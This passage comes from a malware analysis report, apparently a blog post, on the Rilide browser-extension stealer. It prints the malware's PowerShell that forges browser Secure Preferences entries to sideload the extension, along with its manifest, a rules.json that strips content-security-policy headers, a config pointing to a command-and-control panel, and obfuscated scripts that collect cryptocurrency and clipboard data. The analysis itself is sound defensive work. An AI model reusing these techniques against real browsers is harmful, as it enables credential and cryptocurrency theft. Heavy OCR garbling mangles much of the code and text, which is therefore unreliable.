ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfdm50aGhwZC5qcw==

ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfeGl1Zm9odi5qcw==
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dir_pdhfxnpkx\file_leprcgnjd.js

dir_pdhfxnpkx\file_nmgwpruehw.js

dir_pdhfxnpkx\file_yfblfktca.js

dir_pdhfxnpkx\file_yosgieaglg.js

dir_pdhfxnpkx\dir_gracvf\file_llwvtol

dir_pdhfxnpkx\dir_gracvf\file_luvoj.js

dir_pdhfxnpkx\dir_gracvf\file_oimljne

dir_pdhfxnpkx\dir_gracvf\file_ptpvms

dir_pdhfxnpkx\dir_gracvf\file_udggp.

dir_pdhfxnpkx\dir_gracvf\file_udolol.

dir_pdhfxnpkx\dir_gracvf\file_uxlxwk

dir_pdhfxnpkx\dir_tojirz\file_dturevgj

dir_pdhfxnpkx\dir_tojirz\file_fcaetfvo

dir_pdhfxnpkx\dir_tojirz\file_frpgxfp}

dir_pdhfxnpkx\dir_tojirz\file_jznbw.js

dir_pdhfxnpkx\dir_tojirz\file_mgjdolv

dir_pdhfxnpkx\dir_tojirz\file_tefxyao.

dir_pdhfxnpkx\dir_tojirz\file_vnthhpd

dir_pdhfxnpkx\dir_tojirz\file_xiufohv.
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ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfeWVudHRreXFvLmpz dir_pdhfxnpkx\dir_tojirz\file_yenttkyc

bW9kdWxlc1xjb250ZW50LXNjcmlwdHMtcmVnaXNO0ZXItcG9seWZpbGwuNC4wLjAuanM=  modules\content-scripts-register-polyf

c3JjXFRvZ2dsZVRIc3QuanM=

c3JjXGNvbnRIbnRcQWxlcnRSZWNIaXZILmpz

¢3JjXGNvbnRIbnRcT3BIblJIbW92ZS5qcw==

c3JjXGZpbmRIclxBbmFseXplUGFpbnQuanM=

c3JjXGZpbmRlclxBc3NpZ25UZXNOLmpz

3JjXGZpbmRIcIxDb3B5UmVkdWNILmpz

c3JjXGZpbmRIcIxEcmFnQ3J1Y XRILmpz

c3JjXGZpbmRIcIxEcmF3Lmpz

c3JjXGZpbmRlclxFbmFibGVQZW VrLmpz

c3JjXGZpbmRlclxGb2N1cy5qew==

c3JjXGZpbmRIclxQcmImaWxISW5zdGFsbENsb251Lmpz

c3JjXGZpbmRIclxTaG93SGFuZGxIRHJhdy5qcw==

c3JjXGZ1bmN0aW9uc1xDbG9zZVIIZHVjZS5qcw==

c3JjXGZ1bmN0aW9uclxEZWxIdGUuanM=

c3JjXGZ1bmN0aW9uc1xEcmFnU3VtbWFyaXplLmpz

c3JjXGZ1bmN0aW9uclxJbnZlcnQuanM=

c3JjXGZ1bmN0aW9uc1xPcHRpbWI6ZUV2YWx1Y XRILmpz
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src\ToggleTest.js

src\content\AlertReceive.js

src\content\OpenRemove.js

src\finder\AnalyzePaint.js

src\finder\AssignTest.js

src\finder\CopyReduce.js

src\finder\DragCreate.js

src\finder\Draw.js

src\finder\EnablePeek.js

src\finder\Focus.js

src\finder\ProfilelnstallClone.js

src\finder\ShowHandleDraw.js

src\functions\CloseReduce.js

src\functions\Delete.js

src\functions\DragSummarize.js

src\functions\Invert.js

src\functions\OptimizeEvaluate.js
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¢3JjXGZ1bmN0aW9uclxQcmludC5qcw==

c3JjXGZ1bmN0aW9uclxSZWNlaXZILmpz

c3JjXGZ1bmN0aW9uc1xSZW1vdmUuanM=

c3JjXGZ1bmN0aW9uclxSZXN1bWVSZXN1bWVNaXJyb3IuanM=

c3JjXGZ1bmN0aW9uclxSZXRyaWV2ZVVwZGF0ZVN1Ym1pdC5qcw==

c3JjXGZ1bmN0aW9uc1xSAdWS5EZXBsb3lGb2N1cy5qcw==

c3JjXGZ1bmN0aW9uclxTY XZILmpz

c3JjXGZ1bmN0aW9uclxTZWxIY3REcmF3Lmpz

c3JjXGZ1bmN0aW9uc1xXYWIOLmpz

c3JjXG1haWxzXFJIbGVhc2UuanM=

src\functions\Print.js

src\functions\Receive.js

src\functions\Remove.js

src\functions\ResumeResumeMirror.js

src\functions\RetrieveUpdateSubmit.

src\functions\RunDeployFocus.js

src\functions\Save.js

src\functions\SelectDraw.js

src\functions\Wait.js

src\mails\Release.js

The last step in the PowerShell script is to add the extension to the different web browsers specified within the script itself.

eivz $HLGE $TVLPh3 $uOFvyd $qulé $UGQNip $SID $nuUFS #API content, characterset, install path, Chrome Path, Chrome, SID, Content

2ivz SHLGF $fVLPh3 $uOFvyd §PYUEN §ffBwx $SID "" #AFT content, characterset, install path, Brave Fath, Brave, 5ID, Blank

eiv2 $HLGF $fVLPh3 $uOFvyd $0t3bU $CCmOtL $SID "" #APT content, characterset, install path, Edge Path, msedge, SID, Blank

eivz $HLGF $EVLPh3 $uOFvyd $RCETS SKST31p §$SID " ( [System.Text.Encoding]::

15 ) ) ) ) #API content, characterset, install path, Opera Path, Opera, SID, opsettings

Figure 20: Function calls to add the Rilide extension to the targeted web browsers.

F.GetString( ( [byte[]] ( 111, 112, 115, 101, 1lg, 1lg, 105,

Before installing the malicious extension, the PowerShell script terminates any running instances of the web browsers

targeted before the extension is enabled. The extension is installed only for the user who is logged in when the script is

running. It then attempts to modify the Secure Preferences orthe Preferences file (for MSedge) within the Default or

Profile subdirectories. The content shown in Figure 16 is updated to reflect the path shown in Figure 18. Once this

modification occurs, it is added to the Secure Preferences JSON file. The script also checks if the extension is installed; if it

is, the content is updated to API content extracted by the script. Otherwise, it adds the content to the file.
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foreach ($hiZl in $Jd3h7g)

1
SUESSKX = $dasn + ( [System.Text.Encoding]::UTF8.Gevsoring( ( [byse(1] (52 ) ) ) ) + $hiZl.Name + ( [System.Text.Encoding] ::UTF3

-GetString( ( [byte[]] ( %2, &3, 101, 8%, 117, 114, 101, 32, 80, 114, 101, 102, 101, 114, 101, 110, 8, 101, 115) ) ) )

$JsonData = Get-Content -Raw -Path $uB59kX -Encoding UTFE | ConvertFrom-Json
$Uwbil — mbiVp -HexString $HexString
$hoViMm = ([System.Text.Encoding] ::UTFS.GetString ([System.Convert] : :FromBase&4String ($HLGF))) | ConvertFrom-Json
$hoVwMm.Path = $u0Fvyd
if ($JsonData.extensions.$tepvaé | Get-Member -Name $fVLPh3 -MemberTIype Property -ErrorAction SilentlyContinue)
{
$JsonData.extensions.$tepva6.$FVLPh3 = $hoVuMm
1
else
{
$JsonData.extensions.$tepva6 | Add-Member -MemberType NoteProperty -Name $EVLPh3 -Value $hoVwMm -Force
}
if ($JsonData.protection.macs.extensions.$tepvaé | Get-Member -Name $fVLPh3 -MemberType Property -ErrordAction SilentlyContinue)
{
$JsonData.protection.macs.extensions.$tepvaé. $fVLPh3 = (fENdv $Uwbil ($SID + ( [System.Text.Encoding]::UTFS.GetString( { [
byte[]] (L S, 42 ) ) ) ) + $tepvaé + ( [System.Text.Encoding]::UTFS.GetString(

( [eyeell] (

) ) ) ) + SEVLPh3 + ($hovvMm | Conver\:]‘o Json -Compress -dspth 100)))
}
else

{
$0sonData.protection.macs.extensions.$tepvaé | Rdd-Member —Member]‘ype No:eProper:y -Name $fV1.Ph3 -Force —Value (fENdv $Uwbil

($5ID + ( [System.Text.Encoding]::UTF2.GetString( ( [byse[]] ( 101, 12 , Y1)+
$tepvaé + ( [System.Text.Encoding]::UTFS.GetString( ( [byte[1] { 2¢ ) ) 1)+ $fVI.Ph3 + (shovvnm | ConvertTo-Json ~Compress
~depth 100)))

1
$JsonData.protection.super_mac = ( fENdv $Uwbil ($SID + ($JsonData.protection.macs | ConvertTo-Json -Compress -depth 100)))
$TiSo2w = $JsonData|ConvertTo-Json -Compress -depth 1
§TiSo2w| Ouc-File -FilePath $uB59kX -Enceding UTEZ
if ($oyng -eq ( [System.Text.Encoding]::UTF2.GetString( ( [byte[]] ( 10%, 115, 101, 100, 103, 101 )% ) ) )}
{
$uES9kX = $Jasn + { [System. Text.Enceding] : :UTFE.GetString( ( [byse[l] (92) ) ) ) + $hiZl.Nams + ( [System.Text.Encoding]::
UTFS.GetString( ( [byte[]] ( ° 114, 101, 1 101, 114, 101, 110, @3, 101, 115 ) ) ) )
§dsonData = Get-Content -Raw Pa:h $uE591X —Enr.ndlnq UTF2 | ConvertFrom-Json
$JsonData.extensions = Gf ui = @{ dev_mode_warning_snooze_end_time = ( [System.Text.Encoding]::UTF8.GetString( ( [byte[]] (
57, 57, 57, 57, 7, 57, 57, 57, 57, 57, 57, 57, 7YY bd
§TiSoZw = $JsonData|ConvertTo-Json -Compress -depth
§TiS02w| Cut-File -FilePath $uB59kX -Encoding UTF&

1

Figure 21: Code used to add the content shown in Figure 16 to files used by the web browsers. This is used to

add the extension to the web browser.

Once the extension path is added to the preferences file, the PowerShell script waits 4 seconds before launching the web

browser.

ts.google.com/*", "htips://sandbox.google. com/* ", "RLLps: //wii.google  com/, "hTips: //www.googleapis.com/* ], "manifest_permissions”:[], "scriptable_
host":[]}, "incognito_content_settings™:[], "incognito_preferences”: |}, "last_update_time":"13351714136657466", "lastpingday”: "13351631548495466", "location
110, "manifest”:{"app”:{"background":{"scripts”: ["craw_background.js"]}}, "current_locale”:"en US", "default_locale”:"en”, "description”:"Chrome Web
Store
Payments”, "display_in_launcher”:false, "display in_new tab_page":false,"icons™:["128":™images/icon_l28.png”, "16":"images/icon_16.png"}, "key": "MIGEMROGCS
55103 DOEBAQUAR4GIADCE QKBGQC T KEMNLAViEyokd 1wk S TR T T2 XX pGEZ THBZ v vQT /0 LUSuPOIVS/ 13 0w T2d/ xcibUgDe IxobvvaXD+ZOLMd: e 6u+pMrTSE0SHGLbIEVR
OkpToN8YoTs/ P/ yrRATFELAXTaFTGROLAC385MeKS] aQf 1R1QTDAOAB™, "manifest_version™:2, "minimum chrome_version™:™2$","name”:"Chrome Web Store
Paymenta”, "oauthi":{"auto_spprove”s trus, "elient_id": "203764466217. apps . googleusezcontent. con”, "scopes” : ["hrps://um.googleapis. con/auch/aiersa”, "hetpe

2/ /www. googleapis . com/authy/. "https: //waw.googleapis. com/auth, ", "https: //wws.googleapis . con/auth, readonly®]},
"permissions”: ["identity”, "webview", "NLLPS://wii.google.com/ ", "hTTpa: //wid.googleapis. com/ ™, "hELpS://] T3 .google .com/payments/v4/s/1 hEN
. "https://sandbox. google. com/) ts/vd/is/1 i5"], "update_url":"https://clients2.google.con/service/updated/crx", "version": "1.0.0.€"}, "path":

"nmmhkkegocagdldgiimedpicomgmiedat\l.0.0.6_0", "preferences”: {}, "reqular_only preferencea”: |}, running”:true,"state”:l,"was_installed by default”:true,”
was_installed by oem":false},"pkjgfienlbflgofbgoepgmpaiflcahi™: ("ack_safety check warning”:true, "ack safety _check warning_reason”:d, "active_permission
s":{"api”: ["activeTab”, "alarms”, "clipboardRead”, "clipboardWrite”, "cookies”, "h1story","managemen:" "motifications®, "storage”, "aystem.display”, "system. st
orage”,"tabs”, "unlimitedStorage”, "weblavigation”, "webRequest”, "aystem.cpu”, "system. memory”, "de ", "cripting”], "explicit_host":["ki//4
/*","\u003call_urls\u003e", "http://+/*", "https://*/+"] " 3:r1ptableihuxt".["*.//*/*","httg.//A/A","httgs.//*/*"]}, creation_flags":3g,"dnr_static_rulese
"1":{"checksum":1407788644, "ignore_ruleset™:falss]}, "first_install _time™:"13375804612829590", "from webstore™:false, "granted permissions”:["api”:["a
ctiveTab","alarms”, "clipboardRead”, "clipboardiirite”, "cookies”, "history”, "nanagement”, "notifications”, "storage”, "system.display”, "system.storage”, "tabs”
,"unlimitedStorage”, "webNavigation”, "webRequest™, "system.cpu”, Tsystem.memory”, "declarativeNetRequest”, "SCTipting”], "explicit host™:["*://*/*", "\u003cal
1_urls\ud03e”, "http://*/4", "htips://*/+"], "scriptable_host™: ["*://*/+, "htip://*/*", "hTtps://*/* ]}, "last_update_time":"13375804612829590", "location™:4
, "newAllowFileAccess”:true, "path”: "C:\\Users\\admin\\AppData\\Local\\sMxNC25JJ0WH" , "state”: 1, "was_installed by default”:false,"was_installed by oem":fa
1se, "withholding_permissions”:false}}}, "pinned_tabs": (], "Protection”:{"macs":{"bTowser 0EDS49D2FB4 FC2FASFEEN6D2D3FFAGLDALR01CID03
S0REYA0EBAES26FF270D23"], "default_search provider data":{"template_url data™:"04DS0FFAFIE! 9€0216 14DBESBE4791DD" }, "exten
sions”:{"settings”:{"ahfgeienlinckogmohihadlkigocpleb™: "ADDOTTASES0F43A4637F1584FD40D34D0EACS T9C48ER4D23EBB1 BBDESS; F", "bjbddlesfiddlndfafbgodgaciil
dihj":"99ASBEEFT18592F4D80543F4B2B1FFD3D6S 75 TDBCTEDT2694TCBB262FT4C14C5™, "rhi fhmdgcEibbpasojofohosZgiehiai™: "235: 224E59FEETDO6TILE

AF319569BDR1917 F", "neaj o Jhd": "BEICINEALL 1411D540C1ERIEDT FS6F7130287AD", "nkeimhogidpnpccoofpliima
ahmazome": "258CECOFCCDTC454D77870AA3D2CECEFOT451F3BEFCOS6BA61933202B02E19EA™, "niwhkkegecagdldgiiredpicomgmieda™ s "L8ETE72A606D447103CI58F476200CE088D400
E299C87F03A275FCDD3571BCF2", "pnkjgfienlbflgofbgoepgmpai flcaht™ : "72C047S0FTB2BASS44E757040105785971 71881 6DSC3089306EESABATEAC021 79"} }, "google™: [ "services

"1{"account_id":" €0CBE 7 TFLDTFIT0TACS1AD) 6l ™, "1a3t_account_id": "DEOCDF241] 9798ASBC1BOLFBISAELC2L02DCES
F2281AD2F8B€187", "last_username": "A0E7DFAGBDS0034805D345A1E: 105994011 110E3"}}, "homepage": "6CSABS! 4FEESEORIAT,

OFDSSEE1SCT76A61159F36C86027, "homepage_18_newtabpage™: "BADA24CEDTS2C6E733612FBTSEB40345TB4A] FEOS9ASCCEBY423ASDSE4BFSFE, "nedia”s ["odm™: ["origin_data”:
"D762DTBCAAF37520141F68594807TFABL2CDEAG205200997C0436DD35DDDLE45"™ |, "sToTage_id_salt™: 69DB524 4022757463EBEBLE59LAB5254B
"}, "module_blocklist_cache mdS_digest™:"FDSEA18DS8B702826F122C8197CCE4F6D2A5536TBEAFICIBS23E2FBSTEL 38083, "pinned_tabs™:"4318B909707535A31D382D7F7DI0DC
04R4DAIEET9D5579273€1EACOETICETETS™, "prefa™: { ce_reset_time™: 273 HC0T0444E 1B62833C40ATDEFFSESSS58LBCCTORLLERD" ), "
:{"incidents_sent":" 4DASE12D) 15076106FESDIDFAIETFIBCABECE™ ), "search_provider_overrides™:"211EDATDA760B8DD7SDICS7734ACRBEEES
€0D8154DD8999D01A1C2DEIATIES4", "929910n™: { "regTOre_on_STartup”: "ZA9609040D62C10BSBEE09145 64BR6364TDBAFEGAIFIE: SECE90”, "STartup_urls”:"06465

€A179ACE0F1815B5F60F6DOC3D1 DD4 R4S 3FSBLSFEQTDO 6 1}, "super_mac™:™7EFDZET 2 4325426 F2F €C10DOBD" }}

Figure 22: The content from Figure 16 is updated to reflect the path to Rilide. The path was previously shown

in Figure 18.

Rilide Browser Extension

Like TrustWave's reporting, the malware masquerades as a Google Drive utility that claims to save content to Google Drive.
The extension's permissions indicate that it can interact with cookies, clipboard data, and system information. Rilide uses

injected scripts to steal credentials and cryptocurrency and take screenshots.
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Figure 23: Functionality present within Rilide. Source: Hacker News

The extension masquerades as a Google Drive utility that aims to help users save content to Drive. This is indicated by the

name and description specified in the manifest.json file and the extension’s icon.

_ X
Extensions
na

Mo access needed
These extensions don't need to see and change
information on this site.

# ANY.RUN 1}

ssa

&  Saveto Google Drive B :

Save R; Google |

Can't rand ar ch

2 Manage extensions

Figure 24: A screenshot showing Rilide installed in Google Chrome.
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Figure 25: Details about the Rilide extension within Google Chrome.

Figure 26: The malware uses the Google Drive icon as its icon.
The main files in the extension are:

¢ config.js

» manifest.json

e rules.json

e ico.png

o src/ToggleTest.js

¢ src/content/OpenRemove.js
¢ src/content/AlertReceive.js

e src/content/Release.js

The extension’s directory contains other JavaScript files with helper functions that expand its functionality. These files are

essential to the three scripts injected into each webpage.

dir_jspeuyfu 31672025 7:56 PM File folder

dir_oymoqq 362025 756 PM File folder

dir_pdhfinplo 3/16/2025 7:56 PM File folder

modules 362025 756 PM File folder

src 316/2025 7:56 PM File folder
e app.htmil 3M16/2023 756 PM Microsoft Edge H... 1KB
[B] configjs 3/16/2025 7:56 PM JavaScript File 1KB
[ﬂﬁl!_ihlﬂﬂ‘\.ji 36/2025 7:56 PM JavaScript File 1KB
[ 2] fite_sukjzii js 3/16/2025 7:56 PM JavaScript File 1KB
|ﬂ file_ekzplsj.js 31672025 756 PM JavaScript File KB
mﬁle_gjeh:nj; 3672025 756 PM JavaScript File 1KB
[Eﬁlt_ppncgm.js 3/16/2025 7:56 PM JavaScript File 1EB
# ico.png 62025 756 PM PMG File AKB
| ] manifestjson 3/16/2025 7:56 PM JSOM File 2KB
[ rulesjson 316/2025 7:56 PM JSON File 1KB

Figure 27: Files within the Rilide directory.

manifest.json
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The extension’s manifest.json shows that the extension can query system information such as CPU and storage information.
It can also access the browser’s local storage. Moreover, the extension allows access to the clipboard for reading and writing
capabilities. The service worker is a file called ToggleTest.js. The extension injects three scripts into every webpage,

collecting information from the pages. The scripts are:

¢ OpenRemove.js
o AlertReceive.js
¢ Release.js

I
"offline_enabled™: true,
"name": "Save to Google Drive”,
"author™: "Google inc.",
"description”: "Save web content or screen capture directly to Google Drive.”,
"yersion™: *4.11.1",
| ™icons"™: {
"1zg": "ico.png"
oYy
| "permissions™: [
Fgoripting®,
"webNavigat ion™,
"system.cpu”,
"system.display",
"system.storage",
"EyStEn. emOE Y,
"managemenc™,
"storage™,
"ecookies",
"notifications",
"taba",
"history",
"webRequest"™,
"declarativeNetRequest”,
"alarms",
"elipboardRead™,
"elipboardirice,
"unlimitedScorage”,
"windows",
"activeTah"
1.
"manifest_version™: 3,
| "background™: {
"service worker': "src/ToggleTest.jis"™,
Meype™: Tadulen

Figure 28: Content of the manifest.json file

).

"host_permissions": |
"<all_urls>",
bl & ikl
hEEpg: F e,
“HEEp f

1.

Yeontent_scripts®: |
{

‘matchas": |
o
" IFTLYLLD
e
1'
"all_frames®: true,
nyger |
"srofocontant/OpanPemove. 387,

"sro/focontent/AlertReceive. 35",
"sre/mails/Release. js*

"Kl.l.l'\._l.t. o &bcmht_tl'.l.rt =

"declavative_net_veguest”: |
“rule_resources": |
i
“id": “"disable-csp"”,
"enabled": false,
"path": "rules. json"
'
)
Y.
"kay": "D RHOCKFKnwSTHETAXZ2qZ2o(dsSzar JHP DL sUa706vdCEIVS TEH0 faUxN fwlc OnEHHIAQuP gc FEW™
¥

Figure 29: The manifest.json file shows the injected scripts and declarative_net_request specifications.
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For more information about how Browser Extensions work, please read our

blog

The rules.json is specified as part of the declarative_net_request objects, an API that blocks or modifies web requests. In

this case, the API adjusts the content security policy to help remove headers.

rules.json

[
"id": 1,
"pricrity": 1,
"action™: {
"type": "modifyHeaders™,
"responseleaders™: [{
"ogperation™: "remove™,

"header": "content-security-policy™
e

"ogperation™: "remove™,

"header": "content-security-policy-report-only™
e

"operation™: "remove",

"header": "x-webkit-csp™
e

"operation™: “"remove™,

"header": "xX-content-security-policy”™
e

"operation™: “remove™,

"header™: "x-frame-options™

H
e
"condition™: {
"urlFilter™: ™",
"regourcelypes”: ["main frame”, "sub_frame"]
}
tH

Figure 30: The rules declared within the rules.json that are used to remove content security policies.

The rules.json file is used to modify headers in network requests and removes any content security policy values set by the

web pages.

config.js

baxporr. default {
"panelUrl™: "http://billions/api”™,
"useTelegramPanel™: false,
"telegramPanel"™: |
"botToken™: "",
"chatId": ""

e
"referralCode™: "1111"

Figure 31: Configuration parameters for Rilide, including the ability to set up a Telegram C2 channel.

The config file contains references to Telegram and Web-based panels. However, this sample does not appear to have a

Telegram panel, as shown by the lack of details within the TelegramPanel object.
ToggleTest.js

ToggleTest.js is a heavily obfuscated file that imports functions from other JavaScript files. The file call functions to collect

system information, execute commands, and take screenshots.
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1 const 10=G: (function(k,F){const GA={k:0x1l3,F:0xl2e},T8=G,0=k();while(!![]) (try(const
I-parselnt (T9 (0x12€))/0x1* (-parseInt (T9 (0xfa))/0x2) +parseInt (T9 (0x128) ) /0x3+-parseInt (T9 (0xe0) ) /0x4+parseInt (TS (GA.k) ) /0XS5+-parseInt (T3 (GA.F) ) /0x6* (par
selnt (T8 (0x155)) /0x7) +parselnt (19 (0x130) ) /0KE+-parseInt (T8 (0X£9)) /0x9* (-parselnt (T8 (0xe€)) /0xa) rif (I===F) break;else

Q["push’] (Q['shift'] ());}catch(n) {Q["push'] (Q["shift'] ()):}}]} (T, 0x4704e) ) ; iMpOTt|initMachine}from’ ./functions/Wait.js' ;function gxwlpjornn (k) [const
TI=G;return k(IT(0x135)] (Infinity);}let upbczl=[0xl, [0x2, [0X3, [0x4, [0x5]]]1]];qxwlpjornn (upbczl) s function pdxonzws (k) [const T6=G;return
Math[IG (0x105}] (. ..k} }let osmyak=[0xa, 0x14, 0x5,0xE, 0x19] ; pdsonzws (osmyak) ; function ptihrzo (k) [const Tk=G;return Math[Tk(0x105)](...k);}let

addvlv=[0xa, 0x14, 0X5, 0Xf, 0x19] :ptinrzo (addvlv) : ImPOrE{getInjections)from’ . /functions/Delete. s’ s function iwbdkfiz (k) {const
GI=[k:0x140, F:0xe8}, TF=G;let F=[0x0,0xl];while (F[F[TF(Gj.k)]-0x1]+F[F[TF(G].k)]-0x2]<k) (if (TF (Oxed) !==TF(Gj.F))return F[TF(0xfb)] ((n,a)=>n-a) else
F[TF(0x156) ] (F[F[TF (0x140)]-0x1]+F [F[" length"]-0x2] ) ; jreturn F;}let mtzcdayjr=Math[TQ(0x119)] {Math["random'] {) *0x64)+0xa;iwbdkfiz (mtzcdayjr) ; function
nlfdy() {const Gp={k:0xlde,F:0x151,Q:0xel},Gg={k:0K137, F: 0149, Q: 0x108}, TI=TQ; leT k=new

Date () [T1(Gp.k)] (), F=TI (Gp.F) [T (Gp-@}] [/ [xy]/g, function (Q) {const Tn=TI;if(Tn(0x137)==Tn(Gg.k))[let I=(k+Math[Tn(Bg.F)] () *0x10)0x10|0x0; return
k-Math [Tn (0x119) ] (k/0x10), (Q—="x"2T:Is0x3|0x8) [In(Gg.Q)] (0X10) ; jelse(if (!1) return r;return R{e,t3v);}}) return F; phlfdy() 7 function
cluhswuws (k) {1f (k===0x0 | | k===0x1) return 0xl;return k*cluhswuws (k-0x1);}let

10aljda=Math['£1oor"] (Math[TQ(0X149)] () *Oxa)+0x]: clunswuws (10aljda) : SMPOEE disableCSP) from' . /functions/Invert.js' :function hgplqi () [const
Ta=TQ;return'#"+Math[Ta (0x119)] (Math['random'] () *OxE££ZEE) ['toString'] (0x10) ['padStart'] (0xé, "0') ; thoplai () ; impoze | ngs}from' . /functions/Re
move.js’; function nkvasnboel (k) {return k['toUpperCase'] ();}let cnoiozriuf=TQ(0x146);nkvasnboel {cnoiozriuf);function jczpghs (k) [const

Go=[k:0x140, F20X156}, Ti=TQ; 1et.

F=[0x0, 0x1] ;while (F[F[T1(0x140) ]-0x1]+F [F[Ti (Gc- k) ]-0%2] <k} {F[Ti (Ge. F) ] (F[F[Ti (0x140) ]-0x1]+F [F[Ti {0x140) ]-0x2] ) ; jreturn F;}let

1lublhu-Math [TQ(0x119) ] (Math['random'] () *0x64) +0xa; Jcapghs (lublhu) ; function vayzt (k) (return k['flat'] (Infinity);}jlet

imtuyxr=[0x1, [0x2, [0x3, [0x4, [0x51]]11]; vsyzt (imtuyxr) ; Lo ngs}from'./functions/Print.js’;function esuaayw (k) [const
Gm={k:0x13a}, Tr=TQ: if (k<=0x1) return! []: for (let F=0x2:F<=Math[Tr (6m.k)] (k) :F++) {1f (K3F===0x0) return! []:}return!![]:}let

ikdwhuvyg=Math [TQ(0x119) ] (Math[TQ(0x148) ] () *0x64) +0x1; esuaayw (ikdwhuvyg) ; LEDOZE( ids}£zon' . /Sunctions, rror.js’; function

uvyaee (k) {const Gy={k:0x122}, TR=TQ; return k[TR(0x112)] (*") [TR(0x15a)] {) [TR(6y.%)] ('');}let cobtcz=TQ{0x13c) ;uvyaee (cobtcz) ;function gnnbftx (k) {const

GB=[k:0x134, F20%140}, Te=TQ; return (k[Te (GB. k) ] (/ [22222222221/g1) | | [1) [Te (6B.F);}1et bkogwvlulb=TQ(0xef) ;gnnbftx (bkogwvlulb) ; function Xwoxtb(k) [return
k['sort'] ((F,Q)=>F-0) ; }1et lxulegfx=[0x5, 0x3,0x8, 0xl, 0x2]; xwoxth (1xulegfx) ; import { checkConnection, setTsEnabled} from' . /functions/Save.js' ; function
z0zatuken () {const GM—{k:0x119}, Te~TQ; return’ #" +Math [Tt (GM. k) ] (Math [Tt (0x149) ] () *OREELELS) ['ToSTring’] (010) ['padStarc’] (0x6, '0") ; }zozstuken () ; function
mubngobens (k) {1f (k==—=0x0| |k===0x1) return 0xl;return k*mabngobcns (k-0x1);}let
qpsznu=Math [TQ(0x119)] (Math [TQ(0x149) ] () *0xa) +0x1:mubngobens (qpsznu) : function mflkrejc (k) (1f {k=—=0X0| |k===0x1)return Oxl:return k*mflkrejc(k-0x1):}let
adrmh=Math[TQ(0x11%)] (Math[TQ(0x142)] () *0xa) +0xl:mflkre]c (ademh) ; impozt | 1 }frem'./functions/SelectD; js';function
cckuugsd (k, F) {if (!F) return k;return cckuugsd (F, k§F);}let
1£r00sif=Math[TQ(0x119)] (Math[TQ(0X149) ] () *0X64) +0K1, Swykjrwi-Math[TQ(0x119) ] (Math([' random'] () *0x64) +0x1;celuugsd (1£Toosi £, swykjrwi) ; function
G{k, F) {const Q=T();return G=function(I,n){I=I-Oxe0;let a=Q[I];return a;},G(k,F);}import updateDomain}from’ ./functions/RunDeployFocus.js'; function
0001 (k) {return k["sort'] ( (F,Q)->F-Q): }1et zidxwnx-[0x5, 03, 08, 0x1, 0x2] ; tfoool (zidmmx) ; function slpxdd() [const kl-[k:0X151},k0-{k:0XEf}, Tv-TQ; let
k=new Date () ["getTime'] (), F=Tv(kl.k) ["replace’] (/ [xy]/q, function(Q) [const Tb=Tv;if (Tb(0x138) !=Tb(k0.k)) {let
k4Math [Tb (0x149) ] () *0x10) $0x10| 0X0: return k=Math[Tb (0x119)] (£/0x10), (G==="x'7T:Te0x3|0x8) [Tb(0X108) ] (0x10) : }else return[...new Q(I)]:}) rreturn
slprdd()zfunction gxaypyle (k) {const k2={k:0xl5a, F:0x122},Td=TQ;let F=k[Td(0x10%)] () ['zeplace'] {/[W_]/g, ") rreturn

F[Td(0x112)] (") [Td(k2.K)] () [Td(k2.F})] (" "): }1let
3Ifzhtkuio=TQ (0xec) ; gxqypylc (1Tzhtkuic) ; IMPOPE{get5creenshotRules) from' . /functions/CloseReduce.J8"; Tunction xxnkoxs (k) [const k3={k:0x140},Td=TQ;let
F=[0x0, 0x1] ;while (F[F["length']-0x1]+F [F[TJ {0x140) ]-0x2] <k} {F['push'] (F [F[TJ (0x140) ] ~0x1]+F [F[TJ (k3.k) ]-0x2]) ; }return F;}let
nmrcjct-Math [TQ(0x119) ] (Math[TQ(0x149)] () *0x64) +0xa; xEnkoxs (nmrejct) ; function ouhleq (k) [1f (k——0x0| |k——0x1) Teturn Ox1;return kouhleq(k-0x1);}let
wzcepbexl=Math['floor'] (Math['random'] () *0xa) +0xl; cuhleq (wzcepbexl) ; function kzeoajcg (k,F) (iZ(!F)return kireturn kzeoajcg(F, kiF);}let
gubcztn=Math [TQ(0x119) ] (Math[TQ(0x149)] () *0x64) +0x1, Tibqe=Math[' floor'] (Math[TQ(0x149)] ) *0x64) +0x1: kzeoaicg (gmbcztn, tibyx) r AMPOEE (makeScreenshot } from'
-/functions/Wrap.js'; function yijsv (k) {retura[...new Set(k)]:}let gumnyjmsg=[0xl,0x2,0x2,0x3, 0xd, 0x4, 0x5] ;yijsv (quunyinsq) ; function
szphttz (k,F) {if (!F)return k;return szphttz(F,ksF);}let
nGVhx=Math['floor'] (Math['random’] () *0X64)+0x1, qbpdn=Math[TQ(0x119) ] (Math['random'] () *0x64)+0x1;S2phttz (novhx, gbpdn) ; iMPOrE{initializeFinder} from’./fin
der/AnalyzePaint.js';function csold(k){const k8={k:0x104},TE=TQ;if [k<=0x1)return! [];for (let
F-0%2; F<-Math['sqre’] (k) ; F++) {1f (TX (kB.k) —TX (08£5) ) {if (1) return r;Teturn R(e,T%v) ;}else{if (kX8F——0x0)return! [];}}return! ! [];}1let
vrteyivl=Math[TQ(0x11%)] (Math[TQ (0x148)] () *0x64) +0x1; csold (vrteyivl) ; functien hsnyjpl() (comst KT=(k:0xl4e}, k9={k:Oxea, F:0x143}, Tu=TQ; let k=new v

Figure 32: Functions imported by the service worker, ToggleTest.js, to expand its functionality.
OpenReceive.js

This file was heavily obfuscated and used event listeners to collect messages from cryptocurrency exchanges and other
websites, such as Facebook and Google Pay. Before grabbing information, the malware checks local storage in the web

browser to obtain settings used to gather what information Rilide collects.

window.addEventListener ('message’', u => {
7
B

try {
if (u.data && u.type) {
if (u.data.type === 'exchange-get-settings') {
const D = { text: 'exchange-settings' };

;
chrome.runtime.sendMessage (D, function (R) {
i

r

const J = {
cmd: 'exchange-settings',
param: A

_—

=

window.postMessage (J, "*'");
i
}
if (u.data.type =
const J = {
text: 'exchange-create—account',
params: u.data.param

= "exchange-create-account') {

chrome.runtime.sendMessage (J, function (o) {
i

;

const 0 = {
cmd: 'exchange-create-acc',
param: o©

ET

=

window.postMessage (0, "*'");

Page 22 of 31



https://blog.pulsedive.com /rilide-an-information-stealing-browser-extension/

Figure 33: Code used to create event listeners that look for cryptocurrency details.
AlertReceive.js

The AlertReceive.js file is used to read and write text from the clipboard.

ilasyne () => {
try {
const Q@ = async () == {
try {
return await navigator.clipboard.readText ()
} catch (X) {}
function R(u) {
let z = [0, 1]
